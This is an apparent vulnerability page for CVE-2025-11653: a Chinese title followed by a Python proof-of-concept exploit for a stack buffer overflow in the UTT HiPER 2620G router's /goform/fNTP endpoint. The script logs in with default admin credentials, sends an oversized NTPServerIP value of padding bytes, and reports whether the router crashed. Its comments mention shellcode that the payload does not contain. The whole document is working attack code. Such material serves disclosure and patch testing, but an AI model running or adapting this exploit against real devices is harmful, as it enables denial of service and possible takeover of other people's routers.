CVE-2025-11653：UTT HiPER 2620G路由器NTP功能缓冲区溢出漏洞

# CVE-2025-11653 PoC - UTT HiPER 2620G NTP Buffer Overflow # Exploit for buffer overflow in /goform/fNTP via NTPServerIP parameter import requests from requests.auth import HTTPBasicAuth TARGET_HOST = "http://192.168.1.1" USERNAME = "admin" PASSWORD = "admin" def exploit(): session = requests.Session() # Step 1: Authenticate to the router login_url = f"{TARGET_HOST}/login" login_data = { "username": USERNAME, "password": PASSWORD } session.post(login_url, data=login_data) # Step 2: Craft malicious NTPServerIP payload # The vulnerable strcpy() does not check buffer length # Overflow target buffer with shellcode + return address overwrite payload = "A" * 256 # Padding to overflow stack buffer payload += "B" * 4 # Overwrite saved frame pointer payload += "C" * 4 # Overwrite return address # Step 3: Send exploit to vulnerable endpoint ntp_url = f"{TARGET_HOST}/goform/fNTP" ntp_data = { "NTPServerIP": payload } response = session.post(ntp_url, data=ntp_data) print(f"Exploit sent. Status: {response.status_code}") # Step 4: Verify crash or code execution try: check = session.get(f"{TARGET_HOST}/") if check.status_code != 200: print("[+] Target appears to have crashed - exploit successful!") else: print("[-] Target still responsive") except: print("[+] Target is unreachable - possible crash/DoS") if __name__ == "__main__": exploit()